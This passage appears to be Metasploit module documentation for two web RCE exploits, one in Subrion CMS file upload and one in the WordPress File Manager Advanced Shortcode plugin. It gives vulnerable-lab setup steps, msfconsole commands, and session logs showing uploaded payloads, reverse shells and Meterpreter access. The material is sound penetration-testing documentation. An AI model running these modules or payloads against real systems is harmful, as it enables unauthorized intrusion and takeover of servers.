||||
- Apache Server v2.4.38
|
||||
- MySQL v5.7.42
|
||||
- PHP v7.3.31
|
||||
|
||||
```sh
|
||||
ismail@debian:/usr/bin$ cat /etc/os-release
|
||||
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
|
||||
NAME="Debian GNU/Linux"
|
||||
VERSION_ID="10"
|
||||
VERSION="10 (buster)"
|
||||
VERSION_CODENAME=buster
|
||||
ID=debian
|
||||
HOME_URL="https://www.debian.org/"
|
||||
SUPPORT_URL="https://www.debian.org/support"
|
||||
BUG_REPORT_URL="https://bugs.debian.org/"
|
||||
|
||||
ismail@debian:/usr/bin$ /usr/sbin/apache2 -v
|
||||
Server version: Apache/2.4.38 (Debian)
|
||||
Server built: 2023-04-21T22:01:00
|
||||
|
||||
ismail@debian:/usr/bin$ mysql --version
|
||||
mysql Ver 14.14 Distrib 5.7.42, for Linux (x86_64) using EditLine wrapper
|
||||
|
||||
ismail@debian:/usr/bin$ php -v
|
||||
PHP 7.3.31-1~deb10u4 (cli) (built: Jun 19 2023 19:10:11) ( NTS )
|
||||
Copyright (c) 1997-2018 The PHP Group
|
||||
Zend Engine v3.3.31, Copyright (c) 1998-2018 Zend Technologies
|
||||
with Zend OPcache v7.3.31-1~deb10u4, Copyright (c) 1999-2018, by Zend Technologies
|
||||
```
|
||||
|
||||
Once this is done, and the web browser opens up the Subrion CMS installation page at `http://subrion-vuln.com/install`,
|
||||
fill in the following fields in the `Configuration` page after passing the `Pre-Installation Check` and accepting the `Subrion License`:
|
||||
|
||||
```
|
||||
DB Hostname: localhost (default)
|
||||
|
||||
# if using a MySQL Docker container, put in the IP address found from the output of the following command:
|
||||
# sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' subriondb
|
||||
|
||||
DB Username: root
|
||||
DB Password: root
|
||||
DB Name: subrion
|
||||
DB Port: 3306 (default)
|
||||
Table Prefix: sbr421_ (default)
|
||||
|
||||
Administrator Configuration:
|
||||
|
||||
Username: admin
|
||||
Password: admin
|
||||
Confirm: admin
|
||||
Email: anyemail@mail.com
|
||||
```
|
||||
|
||||
Once the configuration is done, navigate to `http://subrion-vuln.com/panel/` and login as an Administrator to confirm successful setup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and set up Subrion CMS v4.2.1 as described above.
|
||||
2. Verify that the Admin Panel login page can be accessed at `http://subrion-vuln.com/panel/`.
|
||||
3. Start `msfconsole`
|
||||
4. Do: `use exploit/linux/http/subrion_cms_file_upload_rce`
|
||||
5. Do: `set RHOSTS [SUBRION_SERVER_IP]`
|
||||
6. Do: `set RPORT [SUBRION_SERVER_PORT]`
|
||||
7. Do: `set USERNAME [username]`
|
||||
8. Do: `set PASSWORD [password]`
|
||||
9. Do: `set LHOST eth0`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### RPORT (Required)
|
||||
|
||||
This is the default HTTP port 80 for the Subrion CMS website.
|
||||
|
||||
### TARGETURI (Required)
|
||||
|
||||
This is the base path of the Subrion CMS's website. Can be changed in case the files are not installed as a VHost,
|
||||
for example, in `/var/www/html/subrion/*` and not in `/var/www/subrion/*`
|
||||
|
||||
### USERNAME (Required)
|
||||
|
||||
This is the username for the Subrion CMS admin panel page, required for exploitation.
|
||||
|
||||
### PASSWORD (Required)
|
||||
|
||||
This is the password for the Subrion CMS admin panel page, also required for exploitation.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Subrion CMS v4.1.0 with Docker on Debian 10
|
||||
|
||||
* Using PHP payload - default TARGET 0
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.138
|
||||
RHOSTS => 192.168.245.138
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response at: http://192.168.245.138:8080/panel/
|
||||
[+] Target is running Subrion CMS.
|
||||
[*] Checking Subrion CMS version...
|
||||
[+] Target is running Subrion CMS Version 4.1.0.
|
||||
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
|
||||
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
|
||||
[+] Successfully obtained CSRF token: 9cedb67d955cadc5fac7dc7ddf32e425
|
||||
[*] Logging in to Subrion Admin Panel at: http://192.168.245.138:8080/panel/ using credentials admin:admin
|
||||
[+] Successfully logged in as Administrator.
|
||||
[*] Preparing payload...
|
||||
[*] Sending POST data...
|
||||
[+] Successfully uploaded payload at: http://192.168.245.138:8080/uploads/zftofixpwb.phar
|
||||
[*] Executing 'zftofixpwb.phar'... This file will be deleted after execution.
|
||||
[*] Sending stage (39927 bytes) to 192.168.245.138
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.138:56994) at 2023-07-30 01:56:57 -0400
|
||||
[+] Successfully executed payload: http://192.168.245.138:8080/uploads/zftofixpwb.phar
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 986c4ddc755b
|
||||
OS : Linux 986c4ddc755b 4.19.0-25-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Subrion CMS v4.1.0 with Docker on Windows 10
|
||||
|
||||
* Using PHP payload - default TARGET 0
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1
|
||||
RHOSTS => 192.168.29.1
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set PASSWORD 123456
|
||||
PASSWORD => 123456
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response at: http://192.168.29.1:8080/panel/
|
||||
[+] Target is running Subrion CMS.
|
||||
[*] Checking Subrion CMS version...
|
||||
[+] Target is running Subrion CMS Version 4.1.0.
|
||||
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
|
||||
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
|
||||
[+] Successfully obtained CSRF token: 3e1ab07d6802525ce76747c40f117961
|
||||
[*] Logging in to Subrion Admin Panel at: http://192.168.29.1:8080/panel/ using credentials admin:123456
|
||||
[+] Successfully logged in as Administrator.
|
||||
[*] Preparing payload...
|
||||
[*] Sending POST data...
|
||||
[+] Successfully uploaded payload at: http://192.168.29.1:8080/uploads/dckfdvdmrr.phar
|
||||
[*] Executing 'dckfdvdmrr.phar'... This file will be deleted after execution.
|
||||
[*] Sending stage (39927 bytes) to 192.168.245.1
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:50985) at 2023-07-30 04:13:51 -0400
|
||||
[+] Successfully executed payload: http://192.168.29.1:8080/uploads/dckfdvdmrr.phar
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 3514d9412b2d
|
||||
OS : Linux 3514d9412b2d 5.15.90.1-microsoft-standard-WSL2 #1 SMP Fri Jan 27 02:56:13 UTC 2023 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Subrion CMS v4.2.1 with XAMPP on Windows Server 2016
|
||||
|
||||
* Using PHP payload - default TARGET 0
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > run rhosts=192.168.100.103 lhost=192.168.100.1 username=admin password=123456 verbose=true targeturi=subrion/
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response at: http://192.168.100.103/panel/
|
||||
[+] Target is running Subrion CMS.
|
||||
[*] Checking Subrion CMS version...
|
||||
[+] Target is running Subrion CMS Version 4.2.1.
|
||||
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
|
||||
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
|
||||
[+] Successfully obtained CSRF token: JV9hc6PcMf0fO9VF9uqEMkiWQvNBiredsOQuqYtb
|
||||
[*] Logging in to Subrion Admin Panel at: http://192.168.100.103/panel/ using credentials admin:123456
|
||||
[+] Successfully logged in as Administrator.
|
||||
[*] Preparing payload...
|
||||
[*] Sending POST data...
|
||||
[+] Successfully uploaded payload at: http://192.168.100.103/subrion/uploads/ftxweolrol.phar
|
||||
[*] Executing 'ftxweolrol.phar'... This file will be deleted after execution.
|
||||
[*] Sending stage (39927 bytes) to 192.168.100.103
|
||||
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.103:50048) at 2023-07-27 18:20:46 +0200
|
||||
[+] Successfully executed payload: http://192.168.100.103/subrion/uploads/ftxweolrol.phar
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: Administrator
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN2019
|
||||
OS : Windows NT WIN2019 10.0 build 17763 (Windows Server 2016) AMD64
|
||||
Meterpreter : php/windows
|
||||
```
|
||||
|
||||
### Subrion CMS v4.2.1 with XAMPP on Windows 10
|
||||
|
||||
* Using PHP paylod - default TARGET 0
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1
|
||||
RHOSTS => 192.168.29.1
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set PASSWORD 123456
|
||||
PASSWORD => 123456
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response at: http://192.168.29.1/panel/
|
||||
[+] Target is running Subrion CMS.
|
||||
[*] Checking Subrion CMS version...
|
||||
[+] Target is running Subrion CMS Version 4.2.1.
|
||||
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
|
||||
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
|
||||
[+] Successfully obtained CSRF token: xjUlGn2ZDOBA2ZhobPAmuC17wZXpVxyjVsLBqF54
|
||||
[*] Logging in to Subrion Admin Panel at: http://192.168.29.1/panel/ using credentials admin:123456
|
||||
[+] Successfully logged in as Administrator.
|
||||
[*] Preparing payload...
|
||||
[*] Sending POST data...
|
||||
[+] Successfully uploaded payload at: http://192.168.29.1/uploads/wvkjygteyz.phar
|
||||
[*] Executing 'wvkjygteyz.phar'... This file will be deleted after execution.
|
||||
[*] Sending stage (39927 bytes) to 192.168.245.1
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:51466) at 2023-07-30 03:24:33 -0400
|
||||
[+] Successfully executed payload: http://192.168.29.1/uploads/wvkjygteyz.phar
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-50BU5J8
|
||||
OS : Windows NT DESKTOP-50BU5J8 10.0 build 19045 (Windows 10) AMD64
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Subrion CMS v4.2.1 with LAMP Stack on Debian 10
|
||||
|
||||
* Using PHP paylod - default TARGET 0
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.133
|
||||
RHOSTS => 192.168.245.133
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
|
||||
LHOST => 192.168.245.128
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.245.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response at: http://192.168.245.133:80/panel/
|
||||
[+] Target is running Subrion CMS.
|
||||
[*] Checking Subrion CMS version...
|
||||
[+] Target is running Subrion CMS Version 4.2.1.
|
||||
[!] This version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
|
||||
[+] Successfully obtained CSRF token: mKMUcUoMJjRxTxOog8DXxeFxLGQVU7rHSX6slM85
|
||||
[*] Logging in to Subrion Admin Panel at: http://192.168.245.133/panel/ using credentials admin:admin
|
||||
[+] Successfully logged in as Administrator.
|
||||
[*] Preparing payload...
|
||||
[*] Sending POST data...
|
||||
[+] Successfully uploaded payload at: http://192.168.245.133/uploads/htwgmjllep.phar
|
||||
[*] Executing 'htwgmjllep.phar'... This file will be deleted after execution.
|
||||
[*] Sending stage (39927 bytes) to 192.168.245.133
|
||||
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.133:53698) at 2023-07-21 14:21:17 -0400
|
||||
[+] Successfully executed payload: http://192.168.245.133/uploads/htwgmjllep.phar
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : debian
|
||||
OS : Linux debian 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Subrion CMS v4.2.1 on Ubuntu 20.04 (Exfiltrated from Proving Grounds Practice)
|
||||
|
||||
* Using PHP paylod - default TARGET 0
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.195.163
|
||||
RHOSTS => 192.168.195.163
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST tun0
|
||||
LHOST => tun0
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LPORT 80
|
||||
LPORT => 80
|
||||
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.45.162:80
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target web server for a response at: http://192.168.195.163:80/panel/
|
||||
[+] Target is running Subrion CMS.
|
||||
[*] Checking Subrion CMS version...
|
||||
[+] Target is running Subrion CMS Version 4.2.1.
|
||||
[!] This version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
|
||||
[+] Successfully obtained CSRF token: rtPDWFrHa45hIhhXhLknM7DbWiHqAfux1fziFd3j
|
||||
[*] Logging in to Subrion Admin Panel at: http://192.168.195.163/panel/ using credentials admin:admin
|
||||
[+] Successfully logged in as Administrator.
|
||||
[*] Preparing payload...
|
||||
[*] Sending POST data...
|
||||
[+] Successfully uploaded payload at: http://192.168.195.163/uploads/ixqywjyjyd.phar
|
||||
[*] Executing 'ixqywjyjyd.phar'... This file will be deleted after execution.
|
||||
[*] Sending stage (39927 bytes) to 192.168.195.163
|
||||
[*] Meterpreter session 1 opened (192.168.45.162:80 -> 192.168.195.163:57658) at 2023-07-24 10:35:58 -0400
|
||||
[+] Successfully executed payload: http://192.168.195.163/uploads/ixqywjyjyd.phar
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : exfiltrated
|
||||
OS : Linux exfiltrated 5.4.0-74-generic #83-Ubuntu SMP Sat May 8 02:35:39 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > shell
|
||||
Process 2489 created.
|
||||
Channel 0 created.
|
||||
cat /etc/os-release
|
||||
NAME="Ubuntu"
|
||||
VERSION="20.04.2 LTS (Focal Fossa)"
|
||||
ID=ubuntu
|
||||
ID_LIKE=debian
|
||||
PRETTY_NAME="Ubuntu 20.04.2 LTS"
|
||||
VERSION_ID="20.04"
|
||||
HOME_URL="https://www.ubuntu.com/"
|
||||
SUPPORT_URL="https://help.ubuntu.com/"
|
||||
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
|
||||
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
|
||||
VERSION_CODENAME=focal
|
||||
UBUNTU_CODENAME=focal
|
||||
```
|
||||
@@ -0,0 +1,353 @@
|
||||
## Vulnerable Application
|
||||
|
||||
WordPress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode.
|
||||
|
||||
The WordPress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.
|
||||
This leads to RCE in cases where the allowed MIME type list does not include PHP files.
|
||||
In the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.
|
||||
|
||||
File Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.
|
||||
To install the Shortcode plugin, File Manager Advanced version `5.0.5` or lower is required to keep the configuration vulnerable.
|
||||
Any user can exploit this vulnerability which results in access to the underlying operating system with the same privileges
|
||||
under which the WordPress web services run.
|
||||
|
||||
For more information, see [This Article](https://attackerkb.com/topics/JncRCWZ5xm/cve-2023-2068).
|
||||
|
||||
This module has been tested on:
|
||||
* Windows Server 2019 Standard and Kali Linux running on Raspberry PI.
|
||||
* WordPress 6.2.2
|
||||
* File Manager Advanced 5.0.5
|
||||
* File Manager Advanced Shortcode 2.3.2
|
||||
|
||||
**Instructions for a vulnerable WordPress installation:**
|
||||
Create a new docker-compose.yml file:
|
||||
```
|
||||
version: '3.1'
|
||||
|
||||
services:
|
||||
|
||||
wordpress:
|
||||
image: wordpress:6.2.2-php8.0
|
||||
restart: always
|
||||
ports:
|
||||
- 8080:80
|
||||
environment:
|
||||
WORDPRESS_DB_HOST: db
|
||||
WORDPRESS_DB_USER: exampleuser
|
||||
WORDPRESS_DB_PASSWORD: examplepass
|
||||
WORDPRESS_DB_NAME: exampledb
|
||||
|
||||
db:
|
||||
image: mysql:5.7
|
||||
restart: always
|
||||
environment:
|
||||
MYSQL_DATABASE: exampledb
|
||||
MYSQL_USER: exampleuser
|
||||
MYSQL_PASSWORD: examplepass
|
||||
MYSQL_RANDOM_ROOT_PASSWORD: '1'
|
||||
```
|
||||
|
||||
Now start the application:
|
||||
```
|
||||
docker-compose up
|
||||
```
|
||||
|
||||
Then verify the application is running at http://127.0.0.1:8080 - and complete the installation steps.
|
||||
|
||||
## Installing the vulnerable application
|
||||
After you have successfully installed and configured WordPress, follow the below steps to install the vulnerable plugins.
|
||||
From the same directory as the `docker-compose.yml` file enter into an interactive terminal:
|
||||
```
|
||||
docker-compose exec -it wordpress /bin/bash
|
||||
```
|
||||
|
||||
Inside the container install the first plugin - `file-manager-advanced`:
|
||||
```
|
||||
cd /var/www/html/wp-content/plugins
|
||||
apt update
|
||||
apt install unzip
|
||||
curl -O https://downloads.wordpress.org/plugin/file-manager-advanced.5.0.zip
|
||||
unzip ./file-manager-advanced.5.0.zip
|
||||
unzip file-manager-advanced/file-manager-advanced.zip
|
||||
rm ./file-manager-advanced.5.0.zip
|
||||
rm file-manager-advanced/file-manager-advanced.zip
|
||||
```
|
||||
|
||||
Then for the second plugin - `file-manager-advanced-shortcode`
|
||||
```
|
||||
cd /var/www/html/wp-content/plugins
|
||||
curl -L -O https://github.com/h00die-gr3y/Metasploit/raw/main/images/file-manager-advanced-shortcode-2.3.2-mdnhux.zip
|
||||
```
|
||||
|
||||
Verify the sha256 matches - `3d5ff82293ec2d98d1f70f27434f810c0c02d38f97d512332a43b8777dde09fe`. *Note - if this does not match we advise a security review of the plugin*:
|
||||
```
|
||||
sha256sum ./file-manager-advanced-shortcode-2.3.2-mdnhux.zip
|
||||
|
||||
3d5ff82293ec2d98d1f70f27434f810c0c02d38f97d512332a43b8777dde09fe ./file-manager-advanced-shortcode-2.3.2-mdnhux.zip
|
||||
```
|
||||
|
||||
Extract the plugin and remove the upgrade script:
|
||||
```
|
||||
unzip file-manager-advanced-shortcode-2.3.2-mdnhux.zip
|
||||
apt install vim
|
||||
|
||||
# Delete the upgrade library file
|
||||
rm file-manager-advanced-shortcode/upgrade/upgrade.php
|
||||
|
||||
# Delete the upgrade requests
|
||||
vim file-manager-advanced-shortcode/file-manager-advanced-shortcode.php
|
||||
|
||||
# Ensure these lines are removed from 'file-manager-advanced-shortcode/file-manager-advanced-shortcode.php'
|
||||
# require_once ( 'upgrade/upgrade.php');
|
||||
# new file_manager_advanced_shortcode_updates( $fma_plugin_current_version, $fma_plugin_remote_path, $fma_plugin_slug, $fma_license_order, $fma_license_key );
|
||||
```
|
||||
|
||||
Now activate the plugins and create the vulnerable Wordpress page.
|
||||
1. Login as the previously created Wordpress account
|
||||
2. On left side menu, then go to `Plugins`
|
||||
3. Activate the File Manager Advanced plugin
|
||||
4. Activate the File Manager Advanced Shortcode plugin
|
||||
5. Navigate to `Pages` on the left side menu and select `Add New`
|
||||
6. Click the `+` symbol in the top left of the webpage and search for `Shortcode`
|
||||
7. Select `Shortcode` and paste the follow Shortcode:
|
||||
```
|
||||
[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins" operations="download,upload"
|
||||
block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]
|
||||
```
|
||||
8. Set the `TARGETURI` option with the uripath pointing to this webpage e.g. `/?page_id=5`
|
||||
9. Run the module and enjoy a `reverse shell` or `meterpreter`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper, 3=Windows Command, 4=Windows Dropper>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > info
|
||||
|
||||
Name: Wordpress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode
|
||||
Module: exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce
|
||||
Platform: Windows, Unix, Linux, PHP
|
||||
Arch: cmd, php, x64, x86, aarch64
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2023-05-31
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
Mateus Machado Tesser
|
||||
|
||||
Module side effects:
|
||||
artifacts-on-disk
|
||||
ioc-in-logs
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP
|
||||
1 Unix Command
|
||||
2 Linux Dropper
|
||||
3 Windows Command
|
||||
4 Windows Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.201.10 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI /wordpress/index.php/fma-auth yes File Manager Advanced (FMA) Shortcode URI path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
WEBSHELL no The name of the webshell with extension php. Webshell name will be randomly generated if left unset.
|
||||
|
||||
|
||||
When TARGET is not 0:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
|
||||
addresses.
|
||||
SRVPORT 1981 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
The Wordpress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.
|
||||
This leads to RCE in cases where the allowed MIME type list does not include PHP files.
|
||||
In the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.
|
||||
File Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.
|
||||
To install the Shortcode plugin File Manager Advanced version `5.0.5` or lower is required to keep the configuration
|
||||
vulnerable. Any user privileges can exploit this vulnerability which results in access to the underlying operating system
|
||||
with the same privileges under which the Wordpress web services run.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-2068
|
||||
https://attackerkb.com/topics/JncRCWZ5xm/cve-2023-2068
|
||||
https://packetstormsecurity.com/files/172707
|
||||
https://wpscan.com/vulnerability/58f72953-56d2-4d86-a49b-311b5fc58056
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
The uripath to the webpage where the file-manager-advanced shortcode is embedded.
|
||||
|
||||
### WEBSHELL
|
||||
You can use this option to set the filename and extension (should be .php) of the webshell.
|
||||
This is handy if you want to test the webshell upload and execution with different file names.
|
||||
to bypass any security settings on the Web and PHP server.
|
||||
|
||||
### COMMAND
|
||||
This option provides the user to choose the PHP underlying shell command function to be used for execution.
|
||||
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
|
||||
This option is only available when the target selected is either Unix Command or Linux Dropper.
|
||||
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
|
||||
|
||||
## Scenarios
|
||||
### Windows Server 2019 PHP - php/meterpreter/reverse_tcp
|
||||
```
|
||||
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. fmakey successfully retrieved: 2a1a319c46
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (39927 bytes) to 192.168.201.55
|
||||
[+] Deleted KBWxIdRChosZC.php
|
||||
[*] Meterpreter session 1 opened (192.168.201.10:4444 -> 192.168.201.55:50380) at 2023-06-28 14:13:07 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BJDNH44EEDB
|
||||
OS : Windows NT WIN-BJDNH44EEDB 10.0 build 17763 (Windows Server 2016) AMD64
|
||||
Meterpreter : php/windows
|
||||
meterpreter > getuid
|
||||
Server username: SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
### Kali Linux Server Unix Command - cmd/unix/reverse_bash
|
||||
```
|
||||
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. fmakey successfully retrieved: 5a669fda54
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] Deleted LlCresesS.php
|
||||
[*] Command shell session 5 opened (192.168.201.10:4444 -> 192.168.201.10:56290) at 2023-06-28 15:34:20 +0000
|
||||
|
||||
uname -a
|
||||
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
### Kali Linux Server Linux Dropper - linux/aarch64/meterpreter_reverse_tcp
|
||||
```
|
||||
